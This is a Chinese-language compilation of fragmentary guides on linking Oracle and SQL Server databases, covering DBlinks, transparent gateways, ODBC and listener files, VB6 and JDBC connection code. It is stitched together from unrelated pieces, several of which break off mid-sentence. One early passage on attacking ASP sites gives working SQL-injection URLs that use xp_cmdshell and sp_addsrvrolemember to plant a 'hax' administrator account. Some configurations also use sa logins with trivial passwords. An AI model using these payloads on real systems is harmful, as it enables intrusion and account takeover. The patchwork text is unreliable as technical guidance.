oracle连接sql2000
Oracle与SQLServer建立DBlink连接
Oracl e 与SQL Server建立DBlink连接设置步骤一、主旨:本操作说明主要用于指导实现Oracle 与SQL Server建立DBlink连接二、要求:(1)Oracle版本需在9i以上(2)SQL Server需在2000 SP3以上三、配置方法与步骤:1、通过ODBC建立连接(1)在Oracle服务器上打开“ODBC数据源管理器”。
路径:开始—>控制面板->管理工具-〉数据源(ODBC)。
(2)选中“系统DSN”选项卡,点击“添加"按钮,在弹出的对话框中选中SQL Server 驱动程序,点击“完成"。
(3)在弹出的对话框中输入数据源名称、描述以及需连接到的SQL Server所在服务器IP或服务器名称,点击“下一步”。
(4)选择SQL Server登陆认证模式,根据SQL Server端认证设置,若集成Window认证则选择“使用网络登陆ID的Windows NT验证”,若未SQL Server认证则选择“使用用户输入登陆ID和密码的SQL Server验证”,此处我们选择第二选项,然后输入登陆ID与密码,点击“下一步”.(5)选择需建立连接的SQL Server数据库,点击“下一步"。
(6)根据需求勾选相关选项,点击“完成”(7)点击测试数据源,若出现“连接失败”,根据《远程连接SQL Server失败错误原因排查说明文档》进行检查,若出现“测试成功",则连续点击两次“确定"完成配置。
(8)打开Oracle安装目录,进入hs文件目录%Oracle_Home%/hs/admin,复制inithsodbc。
ora文件,新命名为inithstest。
ora.命名规则init<SID>。
ora(9)编辑inithstest.ora文件内容如下(10)进入hs文件目录%Oracle_Home%/Network/Admin,修改Oracle listener。
oracle数据库从低版本导入高版本的方法
数据库链应用实例:将一台机器的Oracle7数据库中的数据导入到另一台机器的Oracle9i中去?/ 2010-05-21 11:55来源:电子商务发表评论 (0)SQL数据库的一些攻击具体内容:对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。
这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!这种攻击方法最早源于or1=1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQLServer账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=...AND .....这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=...AND ...整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin 自然也不能正常运行了,因此试试看下面这个方法news.asp?id=2;exec sp_addlogin hax;--后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!那么我们连一起来用吧news.asp?id=2;exec master.dbo.sp_addlogin hax;--news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--news.asp?id=2;exec master.dbo.xp_cmdshell net user hax hax/workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add;--news.asp?id=2;exec master.dbo.xp_cmdshell net localgroupadministrators hax /add;--这样,你在他的数据库和系统内都留下了hax管理员账号了当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。
sql服务器添加oracle的链接服务器步骤
SQL SERVER 2005 通过链接服务器访问 ORACLE 的快速设定方法1)在SQL_SERVER 2005服务器上安装Oracle 10g的客户端。
假设安装到D:\oracle\ 目录。
如果D:是N TFS分区,需要将ORACLE安装后的目录设为所使用的用户有权可运行、可添加、可删除。
2)配置D:\oracle\product\10.2.0\client_1\NETWORK\ADMIN\tnsnames.ora 文件(手动配置)ORCL_192.168.0.163=(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST =192.168.0.163)(PORT = 1521)))(CONNECT_DATA =(SERVICE_NAME =orl)//此处的orl是HIS给的database))(NetManage工具自动生成的配置)ORCL_192.168.0.163 =(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.163)(PORT = 1521)))(CONNECT_DATA =(SID = orl)//此处的orl是HIS给的database(SERVER = DEDICATED)))3)在DOS模式下运行以下命令以便确认ORA CLE客户端安装无误。
sqlplus user/password@ ORCL_192.168.0.1634)打开开始-控制面板-服务,确认Distributed Transaction Coordinator服务已启动。
5)打开SQL SERVER Management Studio,实例名称(ORCL_192.168.0.163)-服务器对象(右键)-新建连接服务器。
a)链接服务器:写上链接服务器的名字,如:OraTestb) 服务器类型,选择其他数据源c) 访问接口:选择 Microsoft OLE DB Provider for Oracled) 产品名称:写上 Oraclee) 数据源:写上tnsnames.ora 文件中配置的服务名,如:ORCL_192.168.0.163f)访问接口字符串:user id=user;password= passwordg)在选择安全性选项页,使用此安装上下文建立连接:1:远程登录:user2:使用密码:passwordh) 确定6)SQL的写法有两种a) 使用T-SQL语法:SELECT * FROM OraTest.ERP.BAS_ITEM_CLASS注意在,SQL查询分析器中输入SQL语句时注意中文的全角半角切换方式!b) 使用PLSQL语法:SELECT * FROM openquery(OraTest,'SELECT * FROM OraTest.ERP.BAS_ITEM_CLASS ')c)第二种访问方式比第一种约快50%;第二种访问方式跟直连ORACLE的速度相当;第一种访问方式可能会导致一些意外错误,如:该表不存在,或者当前用户没有访问该表的权限等等一些信息。
怎样远程连接SQL Server2000数据库
怎样远程连接SQL Server2000数据库远程连接 SQL Server 2000 数据库是一项重要的技术,它允许用户从不同的位置访问和管理数据库。
本文将介绍如何远程连接 SQL Server 2000 数据库,以及相关的配置和安全注意事项。
一、什么是远程连接SQL Server 2000数据库SQL Server 2000 是一种关系型数据库管理系统,主要用于数据存储和管理。
远程连接则是指通过网络连接到远程主机上运行的数据库服务器,以实现对数据库的访问和操作。
二、远程连接SQL Server 2000数据库的配置在远程连接SQL Server 2000 数据库之前,需要进行以下几项配置:1. 启动 SQL Server 2000 数据库服务器:确保数据库服务器已启动并正在运行,可以通过在服务器上运行 SQL Server 2000 程序来启动。
2. 配置网络协议:在 SQL Server 2000 管理工具中,打开 "SQL Server 网络工具",选择适当的网络协议(如 TCP/IP),并进行相应的配置。
3. 配置防火墙:如果您的计算机上有防火墙软件,需要打开相应的端口(默认是 1433)以允许远程连接请求通过。
4. 数据库和登录名配置:在 SQL Server 2000 管理工具中,确保数据库已创建并配置了相应的登录名和权限,以便远程用户可以访问数据库。
可以通过创建登录名、分配权限和设置密码来完成这些配置。
三、如何远程连接SQL Server 2000数据库远程连接 SQL Server 2000 数据库可以使用多种方式,下面介绍两种常见的方法:1. 使用 SQL Server Management Studio(SSMS):SSMS 是一款官方提供的管理工具,可以通过图形界面轻松地远程连接数据库。
打开SSMS,输入远程服务器的地址和登录凭据,选择相应的数据库,即可连接到远程数据库。
oracle透明网关访问sqlserver2000
oracle 10g透明网关访问sqlserver2000 收藏一、环境如下:ORACLE 10g 安装在:192.168.0.250 的window2003 server(版本:Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - 64bit Production)SqlServer 2000安装在:192.168.0.233 的window2003 server二、下载透明网关(GA TEWAY)10g下,透明网管是一个单独组件,可以到oracle官方网站下载/technology/software/products/database/oracle10g/htdocs/10201winsoft.ht ml这个安装包有300m。
可惜只找到秀明网关版本:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 32bit Production三、安装透明网关将透明网关安装在sqlserver服务器上,点击setup.exe,启动安装界面,安装oracle transparent gateway for microsoft sql server;下一步,输入sqlserver地址和sqlserver 数据库名,这里可以输入正确的,也可以随便输入,或者留空,现安装完成后再配置。
安装完后,会弹出配置监听界面,点击取消即可。
整个过程安装在点类似DB安装或client安装。
四、配置透明网关参数文件找到透明网关路径:D:\oracle\product\10.2.0\tg_1\tg4msql\admin安装透明网关时会生成一个默认参数文件:inittg4msql.ora,它的sid是tg4mssql,可以使用这个文件,也可以新建一个文件。
现在COPY一份命名为initUFDATA_002_2009.ora,名字最好与SQL SERVER数据库一致,且要注意格式:init<sid>.ora,可以理解为oracle的参数文件,现在编辑参数文件:# This is a sample agent init file that contains the HS parameters that are# needed for the Transparent Gateway for SQL Server## HS init parameters#HS_FDS_CONNECT_INFO="SERVER=192.168.0.233;DA TABASE=UFDATA_002_2009"HS_FDS_TRACE_LEVEL=OFFHS_FDS_RECOVERY_ACCOUNT=RECOVERHS_FDS_RECOVERY_PWD=RECOVERHS_FDS_CONNECT_INFO设置有多种格式,如:HS_FDS_CONNECT_INFO=server_name.db_name,但这种写法server_name不能为IP,且端口必须为默认的1433,如:在安装透明网关如果设置服务器和数据库即为上面格式。
通过ORACLE通用连接访问SQLServer数据库的方法
通过ORACLE通用连接访问SQLServer数据库的方法要通过Oracle通用连接访问SQL Server数据库,需要使用Oracle 的适配器来连接到SQL Server数据库。
以下是通过Oracle通用连接访问SQL Server数据库的方法:1. 安装并配置Oracle通用连接适配器:- 在Oracle数据库服务器上找到适配器的安装目录。
HS_FDS_CONNECT_INFO = server_nameHS_FDS_TRACE_LEVEL = offHS_FDS_SHAREABLE_NAME = /usr/local/bin/libodbc.so其中server_name是SQL Server数据库的主机名。
SID_LIST_LISTENER=(SID_LIST=(SID_DESC=(SID_NAME = odbc)(ORACLE_HOME = /path/to/oracle_home)(PROGRAM = dg4odbc)其中/oracle_home是Oracle数据库的安装目录。
2.配置ODBC数据源:- 在Oracle数据库服务器上安装必要的ODBC驱动程序以连接到SQL Server数据库。
- 在ODBC数据源管理器中配置一个ODBC数据源,以便Oracle数据库可以通过该数据源连接到SQL Server数据库。
- 确保ODBC数据源名称与initodbc.ora文件中的server_name匹配。
3.创建数据库链接对象:- 在Oracle数据库服务器上创建一个数据库链接对象,该对象将用于连接到SQL Server数据库。
-使用CREATEDATABASELINK语句创建数据库链接对象,语法如下:CREATE DATABASE LINK link_nameCONNECT TO username IDENTIFIED BY passwordUSING 'data_source_name';其中link_name是链接名,username是在SQL Server数据库中的用户名,password是对应的密码,data_source_name是ODBC数据源的名称。
plsql连接oracle配置
PL/SQL连接Oracle配置
介绍
PL/SQL是一种针对Oracle数据库开发的过程性编程语言,可以用于创建存储
过程、函数和触发器等对象。
要使用PL/SQL连接Oracle数据库,需要进行一些
配置。
本文将介绍如何配置PL/SQL连接Oracle数据库。
步骤
步骤1:安装Oracle客户端
在连接Oracle数据库之前,需要先安装Oracle客户端。
Oracle客户端是连接Oracle数据库的驱动程序,在连接数据库时需要使用。
首先,从Oracle官方网站
下载合适的Oracle客户端版本,然后按照安装向导进行安装。
步骤2:配置Oracle客户端
安装完Oracle客户端后,需要进行一些配置以确保连接能够成功。
以下是必要的配置项:
•ORACLE_HOME:指定Oracle客户端的安装目录。
需要将ORACLE_HOME设置为安装目录的路径,以便PL/SQL可以找到需要的文件。
•PATH:将Oracle客户端的bin目录添加到系统的PATH环境变量中,以便PL/SQL能够找到Oracle客户端的可执行文件。
•TNS_ADMIN:设置TNS_ADMIN环境变量为一个目录的路径,在该目录下应该包含一个名为tnsnames.ora的文件,该文件包含了要连接的
Oracle数据库的连接信息。
步骤3:创建数据库连接
在PL/SQL中,可以通过创建一个数据库连接来连接Oracle数据库。
以下是创
建数据库连接的步骤:
1.打开PL/SQL开发工具,如PL/SQL Developer或SQL Developer。
2.单击工具栏上的。
ORA10g_r2连接SQL2000(SQL2005)配置
ORA10g_r2连接SQL2000配置连接SQL2005方法也如此,主要区别为:在CREATE PUBLIC DATABASE LINK SQLTO2K CONNECT TO sa IDENTIFIED BY "hanker" USING'MSQL' 连接SQL2005时,密码要加双引号!!方法一:通过透明网关实现ORACLE10g_R2连接SQL2000从Oracle 10g连接SQL Server2000,如用透明网关(Transparent Gateway),需要下载10201_gateways_win32.zip插件(一)安装Transparent Gateway for Windows SQL Server注意:安装的之前必须要将原数据库服务器启动起来,不然会重复安装OraTg10g_home1数据库软件,这样就会有两个数据库软件。
选择安装目录:默认安装名称为OraTg10g_home1默认安装路径为X:\oracle\product\10.2.0\tg_1将安装名称改为OraDb10g_home1将安装路径改为X:\oracle\product\10.2.0\db_11. 下载10201_gateways_win32.zip插件,解压10201_gateways_win32.zip2. 进入10201_gateways_win32文件夹,点击setup.exe3. 按Next,选择Oracle Transparent Gateway for Microsoft SQL Server 10.2.0.1.0 ,按Next4、有一步需要填写SQL 服务器名和SQL的数据库名5. 接着安装。
6. 安装完毕之后,在Oracle的D:\oracle\product\10.2.0\db_1主目录下,会有tg4msql文件夹。
注:设置GA TEWAY机器(Gateway可以和Oracle Database在同一台机器上,也可以分开)(二)配置我的环境设置是将Gateway和Oracle Database在设置在同一台机器我的环境:Oracle 服务器:OS: Windows Server 2003(SP2)IP: 192.168.8.91PORT: 1521SQL2000 服务器:OS: Windows Server 2003(SP2)IP: 10.0.0.148Database Server Name: SALSESQLDatabase Name: IT1. 在Oracle的C:\oracle\product\10.2.0\db_1\tg4msql\admin目录下,拷贝inittg4msql.ora 并改名为init<SID>.ora。
oracle数据库链接服务器查询sqlserver的写法
oracle数据库链接服务器查询sqlserver的写法要在Oracle数据库中链接SQL Server并执行查询,可以使用以下步骤:1. 从Oracle的SQL Developer或其他工具中,使用Oracle提供的JDBC驱动程序链接到SQL Server数据库。
2. 编写一个包含连接字符串的SQL语句。
连接字符串包括SQL Server的IP地址、端口号、数据库名称、用户名和密码。
例如,连接字符串可以是这样的:jdbc:sqlserver://10.10.10.10:1433;databaseName=TestDB;user=sa; password=1234563. 在Oracle数据库中创建一个数据库连接,其中包括连接字符串。
例如,可以使用以下PL/SQL代码创建一个数据库连接:CREATE DATABASE LINK sqlserver_link CONNECT TO "sa" IDENTIFIED BY "123456" USING 'jdbc:sqlserver://10.10.10.10:1433;databaseName=TestDB;user=sa; password=123456';4. 在该连接上执行 SELECT 语句以查询SQL Server数据库中的数据。
例如,可以使用以下SQL代码执行查询:SELECT * FROM mytable@sqlserver_link;这将返回来自SQL Server数据库中名为 'mytable'的表中的所有行。
注意,使用Oracle与SQL Server之间的联接需要一些配置和测试,以确认是否可以正确地连接到SQL Server数据库。
具体取决于您的环境和要求。
OracleSQLDeveloper连接报错以及链接oracle的sqlplus出现协议适配器错误
OracleSQLDeveloper连接报错以及链接oracle的sqlplus出现协议适配器错误 之前⽤的好好的Oracle SQL Developer,不知道是不是匆忙关闭软件啥东西没保存或是删了什么东西,今天突然⽤不了的。
⼤清早的,打开Oracle SQL Developer,就给我⼀个惊喜,提⽰连接-测试报错。
连接时报错码:Listener refused the connection with following error:ORA-12505,TNS:listener...... 解决办法: 借助Oracle的SQL Plus⼯具以管理员⾝份敲连接命令:select instance_name from v$instance;必须是管理员⾝份,否则“视图不存在” 打开Oracle 的SQL Plus⼯具,初始的时候是这样的。
输⼊⽤户名,输⼊⼝令,然后⼜给了我⼀个惊喜。
此时,很可能是oracleService+你之前设置的SID没有开启,进⼊服务中,如我的系统是win10的,可以直接在左下⾓的搜索框中搜索“服务”,或者打开windows运⾏窗⼝,输⼊命令services.msc,点击确认按钮即可进⼊,找到OracleService+你之前设置的SID,将其设置为启⽤状态 现在在SQL Plus中输⼊⽤户名、⼝令,显⽰如下: 然后以管理员⾝份查看,输⼊select instance_name from v$instance;即可连接成功。
· (2)、在Oracle SQL Developer连接⼯具上修改你的数据库SID名,例如我的是这样的(把默认的“xe”改成与上⾯对应的“orcl”)。
可以勾选 “保存⼝令”选项,然后点击连接即可成功。
oracle外连接的写法
Oracle外连接的写法如下:
1. 左外连接(Left Outer Join):以左边的表不加限制,返回所有满足连接条件的行,如果
右边的表没有匹配的行,则结果集中对应的字段显示为空值。
对应的SQL语句是:
sql
SELECT * FROM 左表LEFT OUTER JOIN 右表ON 左表.列= 右表.列;
或简写为:
sql
SELECT * FROM 左表LEFT JOIN 右表ON 左表.列= 右表.列;
2. 右外连接(Right Outer Join):以右边的表不加限制,返回所有满足连接条件的行,如
果左边的表没有匹配的行,则结果集中对应的字段显示为空值。
对应的SQL语句是:
sql
SELECT * FROM 左表RIGHT OUTER JOIN 右表ON 左表.列= 右表.列;
或简写为:
sql
SELECT * FROM 左表RIGHT JOIN 右表ON 左表.列= 右表.列;
3. 全外连接(Full Outer Join):左右两边的表都不加限制,返回所有满足连接条件的行,
如果某一边的表没有匹配的行,则结果集中对应的字段显示为空值。
对应的SQL语句是:
sql
SELECT * FROM 左表FULL OUTER JOIN 右表ON 左表.列= 右表.列;
或简写为:
sql
SELECT * FROM 左表FULL JOIN 右表ON 左表.列= 右表.列;。
通过ORACLE通用连接访问SQLServer数据库的方法
通过ORACLE通用连接访问SQLServer数据库的方法以下的例子,要通过ORACLE通用连接,建立三个ORACLE的DATABASELINK,分别用于访问SQL2000服务器的ET2000,OFSS2000和BK2000数据库.1.在ORACLE服务器上,新建三个ODBC系统数据源,名称分别为ET2000,OFSS2000,BK2000;三个数据源都访问目标的SQLSERVER实例,不同之处仅在与默认连接的数据不同.2.在ORACLE服务器上,ORACLE安装目录(本例中是D:\oracle\product\10.2.0\db_1\)的hs\admin目录下,参照inithsodbc.ora创建initET2000.ora参数配置如下:其中ET2000是默认连接ET2000数据库的ODBC 系统数据源名称HS_FDS_CONNECT_INFO = ET2000HS_FDS_TRACE_LEVEL = 0类似地,创建initOFSS2000.ora和initBK20003.在ORACLE服务器上,ORACLE安装目录(本例中是D:\oracle\product\10.2.0\db_1\)的NETWORK\ADMIN目录下,修改tnsname.ora增加ET2000 =(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.2.180)(PORT = 1521)))(CONNECT_DATA =(SID = ET2000))(HS=OK))类似的,增加OFSS2000和BK2000的配置段4.在ORACLE服务器上,ORACLE安装目录(本例中是D:\oracle\product\10.2.0\db_1\)的NETWORK\ADMIN目录下,修改listener.ora在这个段中,增加SID_DESC的配置SID_LIST_LISTENER =(SID_LIST =(SID_DESC =(SID_NAME = PLSExtProc)(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)(PROGRAM = extproc))(SID_DESC =(SID_NAME = ET2000)(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)(PROGRAM = hsodbc))(SID_DESC =(SID_NAME = OFSS2000)(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)(PROGRAM = hsodbc))(SID_DESC =(SID_NAME = BK2000)(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)(PROGRAM = hsodbc)))5.重启ORACLE服务器TNS服务6.创建ORACLE的DATABASELINK对象ET2000.CREATE PUBLIC DATABASE LINK ET2000CONNECT TO "sa" (user)IDENTIFIED BY "000000" (password)USING 'ET2000' (tns || DBNAME)/类似的建立DATABASELINK OFSS2000和BK2000. 这里用sa用户连接,一般倒数据时用一个有SELECT所有表权限的用户就可以了7.现在就可以使用DATABASELINK通过ORACLE客户端访问SQL 数据库了,例如:SELECT * FROM "tKHXX"@ET2000 访问ET2000库的tKHXX表SELECT * FROM "tOF_JJZH"@OFSS2000 访问OFSS2000库的tOF_JJZH表要注意,表名和字段名最好加双引号,否则会被按大写解析,可能导致报对象不存在的错误.。
怎样远程连接SQL Server2000数据库
怎样远程连接SQL Server2000数据库悬赏分:5 - 解决时间:2008-3-14 07:20我在A电脑做了一个项目但项目的数据库在B电脑A电脑要连接B电脑的数据库A电脑和B电脑要做什么配置数据库是SQL Server2000数据库提问者:K7513405 - 助理二级最佳答案远程连接sql server 2000服务器的解决方案一看ping 服务器IP能否ping通。
这个实际上是看和远程sql server 2000服务器的物理连接是否存在。
如果不行,请检查网络,查看配置,当然得确保远程sql server 2000服务器的IP拼写正确。
二在Dos或命令行下输入telnet 服务器IP 端口,看能否连通。
如telnet 202.114.100.100 1433通常端口值是1433,因为1433是sql server 2000的对于Tcp/IP的默认侦听端口。
如果有问题,通常这一步会出问题。
通常的提示是“……无法打开连接,连接失败"。
如果这一步有问题,应该检查以下选项。
1 检查远程服务器是否启动了sql server 2000服务。
如果没有,则启动。
2 检查服务器端有没启用Tcp/IP协议,因为远程连接(通过因特网)需要靠这个协议。
检查方法是,在服务器上打开开始菜单->程序->Microsoft SQL Server->服务器网络实用工具,看启用的协议里是否有tcp/ip协议,如果没有,则启用它。
3 检查服务器的tcp/ip端口是否配置为1433端口。
仍然在服务器网络实用工具里查看启用协议里面的tcp/ip的属性,确保默认端口为1433,并且隐藏服务器复选框没有勾上。
事实上,如果默认端口被修改,也是可以的,但是在客户端做telnet测试时,写服务器端口号时必须与服务器配置的端口号保持一致。
如果隐藏服务器复选框被勾选,则意味着客户端无法通过枚举服务器来看到这台服务器,起到了保护的作用,但不影响连接,但是Tcp/ip 协议的默认端口将被隐式修改为2433,在客户端连接时必须作相应的改变。
SQLSERVER链接ORACLE服务器问题
端口:1521
名称:Test_192.168.0.11
3 在SqlServer中建立连接数据库
在SqlServer企业管理器中--安全性--链接服务器--新建连接服务器
连接服务器[N]:Test
其它数据源[H]
提供程序名:Microsoft OLE DB Provider for Oracle
)
(CONNECT_DATA =
(sid = blue)
(SERVER = DEDICATED)
)
)
......
3.配置windows的ODBC数据源:
开始菜单—》设置—》管理工具—》数据源(ODBC)—》进入配置用户DSN或者系统DSN均可以:添加—》选择Microsoft ODBC for oracle—》自定义数据源名称(最好跟tns中连接串同名!)—》服务器名称(必填!填写tns文件中的连接串名称)—》完成。
4.配置sqlserver2000中的连接服务器:
企业管理器—》安全性—》连接服务器—》右键新建连接服务器—》定义连接名称; 选其他数据源; 指定程序名称为:Microsoft OLE DB Provider for Oracle; 产品名称可不填; 数据源指定刚才ODBC中定义好的数据源名称; 提供程序字符串按以下格式填写:User ID=username;Password=userpasswd(或者按如下格式:UID=username;PWD=userpasswd),这里的用户名和密码对应所要连接的oracle数据库中的用户名和密码 —》 安全性标签页里:设置用此安全上下文进行,并录入oracle的数据库用户名和密码—》服务器选项标签页可默认—》确定。
vb6.0连接sql2000数据库的具体步骤
VB6.0使用ADO对象连接数据库:有偿征集原创文章,为您创收投递文章减小字体增大字体1.定义连接对象Global DBconnect As New ADODB.Connection2.执行连接语句If DBconnect.State = adStateOpen And Not IsEmpty(adStateOpen) Then DBconnect.Close l 连接ODBC DBconnect.ConnectionString = "dsn1.定义连接对象Global DBconnect As New ADODB.Connection2.执行连接语句If DBconnect.State = adStateOpen And Not IsEmpty(adStateOpen) ThenDBconnect.Closeλ连接ODBCDBconnect.ConnectionString = "dsn=DataAliasName;uid=UserID;pwd=Passwd;"λ直接连接Access为Dbconnect.Provider = "Microsoft.jet.OLEDB.4.0" // Access 97为3.51DBconnect.ConnectionString = "FilePathFileName.mdb"λ连接OracleDBconnect.Provider = "MSADORA"DBconnect.ConnectionString = "user/mypass@servicenameλ连接SQL ServerDBconnect.Provider = "SQLOLEDB.1"DBconnect.ConnectionString = "DATABASE= ;SERVER= ;UID= ;PWD= ;"或者可以使用DBconnect.Open "SERVER" , "USERID" , "PASSWORD"DBConnect.Open3.取查询结果集Global RS As New ADODB.RecordsetGlobal PS As New ADODB.RecordsetIf RS.State = adStateOpen And Not IsEmpty(adStateOpen) Then RS.Close RS.Open SQLStr, DBconnect, adOpenKeyset4.执行SQL语句DBconn.Execute SQLStr5.关闭数据库DBconnect.CloseVB使用ADO数据库可以分为有源数据库和无源数据库,即是否使用了DSN数据源,如下例:1、在连接数据库前首先要在VB菜单中“工程”-“引用”从中选择microsoft activeX Data objects 2.6 library和microsoft activeX Data objects recordset 2.6两个组件,这是在连接数据前所必做的工作。
利用SQL Server2000的JDBC驱动程序连接SQL Server2000数据库系统的程序示例
1.1
利用 SQL Server2000 的 JDBC 驱动程序连接 SQL Server2000 数据库系统
的程序示例
1.1.1 启动和管理 SQLServer2000 数据库服务器 1、启动 SQLServer2000 数据库服务器
2、设置用户“sa”的密码
5 杨教授工作室,版权所有,盗版必究, 5/10 页
杨教授工作室 精心创作的优秀程序员 职业提升必读系列资料
} public void windowOpened(WindowEvent parm1) { } public void windowClosing(WindowEvent parm1){ try{ con.close(); } catch(SQLException e){ } this.dispose(); System.exit(0); } public void windowClosed(WindowEvent parm1) { } public void windowIconified(WindowEvent parm1) { } public void windowDeiconified(WindowEvent parm1) { } public void windowActivated(WindowEvent parm1) { } public void windowDeactivated(WindowEvent parm1) { } } 5)以命令行方式执行该示例程序
3 杨教授工作室,版权所有,盗版必究, 3/10 页
杨教授工作室 精心创作的优秀程序员 职业提升必读系列资料
(Toolkit.getDefaultToolkit().getScreenSize().height-FrameHeight)/2); this.addWindowListener(this); JPanel contentPanel=new JPanel(); contentPanel.setLayentPane(contentPanel); try{ Class.forName(DBDriver); } catch(ClassNotFoundException e) { System.out.println("不能正确地加载驱动程序"); } try{ con=DriverManager.getConnection(url,"sa",""); } catch(SQLException e){ } try{ stmt=con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE); rs=stmt.executeQuery("select * from metaData=rs.getMetaData(); int numberOfColumns = metaData.getColumnCount(); columnNames = new String[numberOfColumns]; for(int column = 0; column < numberOfColumns; column++) { columnNames[column] = metaData.getColumnLabel(column+1); } int rowCounter=0; if(st()){
windows下oracle11g+sqlserver+odbc64配置
oracle11g+sqlserver2000+odbc64配置配置说明:1,环境描述中的黑色粗体,红色粗体,蓝色粗体内容在配置的时候要用到2,修改文件中的黑色粗体,红色粗体,蓝色粗体内容为要修改的部分,修改的值按颜色和环境描述相匹配3,黑色表格中的内容为新增内容1环境描述1.1 Oracle11gIP地址:192.168.1.142Oracle根目录:F:\app\Administrator\product\11.2.0\dbhome_1Oracle端口:1521SID:orcl用户名:system密码:1234561.2 odbc64IP地址:192.168.1.142odbc配置根目录:F:\app\Administrator\product\11.2.0\dbhome_1\hs\admindns and SID:logistics1.3 Sqlserver2005IP地址:192.168.1.142数据库名:logistics用户名:sa密码:sa表:logis_view_stock_main_2建立dns64位odbc 建立方法“在oracle 里的odbc配置和移植里,在odbc管理点右键属性讲目标路径有c:\windows\system32\odbcad32.exe改为C:\Windows\SysWOW64\odbcad32.exe,就可以添加32位的odbc数据源了,或者直接到相应的文件夹点exe文件运行也一样。
名称:logistics3修改文件3.1 initlogistics.ora位置:F:\app\Administrator\product\11.2.0\dbhome_1\hs\admin\initlogistics.ora这个文件是配置连接sql server用的,文件组成结构是init+SID.ora,所以此处SID=logistics 文件内容如下:# This is a sample agent init file that contains the HS parameters that are# needed for the Database Gateway for ODBC## HS init parameters#HS_FDS_CONNECT_INFO =logisticsHS_FDS_TRACE_LEVEL =OFF## Environment variables required for the non-Oracle system##set <envvar>=<value>3.2 HS listener.ora位置:F:\app\Administrator\product\11.2.0\dbhome_1\hs\admin \ listener.ora文件内容如下:# This is a sample listener.ora that contains the NET8 parameters that are# needed to connect to an HS AgentLISTENER =(ADDRESS_LIST=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.142)(PORT=1521)))SID_LIST_LISTENER=(SID_LIST=(SID_DESC=(SID_NAME=logistics)(ORACLE_HOME=F:\app\Administrator\product\11.2.0\dbhome_1)(PROGRAM=dg4odbc)/*/固定的不要变动))#CONNECT_TIMEOUT_LISTENER = 03.3 HS tnsnames.ora位置:F:\app\Administrator\product\11.2.0\dbhome_1\hs\admin \ tnsnames.ora内容如下:# This is a sample tnsnames.ora that contains the NET8 parameters that are# needed to connect to an HS Agentlogistics =(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.142)(PORT=1521))(CONNECT_DA TA=(SID=logistics))/*/跟3.2配置的SID_NAME一致(HS=OK))3.4 listener.ora位置:F:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN \ listener.ora 增加如下内容SID_LIST_LISTENER =(SID_LIST =(SID_DESC =(GLOBAL_DBNAME = orcl)(ORACLE_HOME = F:\app\Administrator\product\11.2.0\dbhome_1)(SID_NAME = orcl))(SID_DESC =(SID_NAME = master)(ORACLE_HOME = F:\app\Administrator\product\11.2.0\dbhome_1)(PROGRAM = dg4msql))(SID_DESC=(SID_NAME=logistics)(ORACLE_HOME=F:\app\Administrator\product\11.2.0\dbhome_1)(PROGRAM=dg4odbc)))3.5 tnsnames.ora位置:F:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN \ tnsnames.ora 增加如下内容内容:logistics=(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.1.142)(PORT = 1521)))(CONNECT_DA TA =(SID=logistics))(HS = OK))到此5个文件全部修改完成,在oracle中创建和sql server的远程连接4创建远程连接4.1 重启oracle监听由于之前修改了oracle的监听文件,所以要重新启动监听程序打开“控制面板”-------“管理工具”------“服务”-------找到名称格式为OraclexxxxxTNSListener的服务重启4.2 打开Oracle sql developer 信息参考1.14.3 创建link在命令窗口中执行create database link logistics connect to sa identified by "sa" using 'logistics'; 注:create database link logistics的名字可以随意起比如create database link aaacreate database link bbb成功后,刷新左下脚的Database links,即可看见新创建的link4.4 查询link中的数据在命令窗口执行select * from sys_dic_dept@logistics;结果如下,表示创建成功(完)。
Sql_server2000_到oracle_的数据库同步
Sql server2000 到oracle 的数据库同步(快照形式)(部分质料收集自网页,测试成功)利用sql server的复制技术和oracle的odbc数据源我们可以实现数据库的同步,下面是一个从sql server到oracle数据同步的单向实现。
首先安装sql server2000数据库和oracle10g数据库,在一般情况下数据库建好以后,在企业管理器里看到的sql注册是(local)(windows NT)Sql server复制技术不支持昵称,例如使用“(local)”作为服务器名。
因此我们需要这个服务的sql server注册,创建新的服务器就行注册。
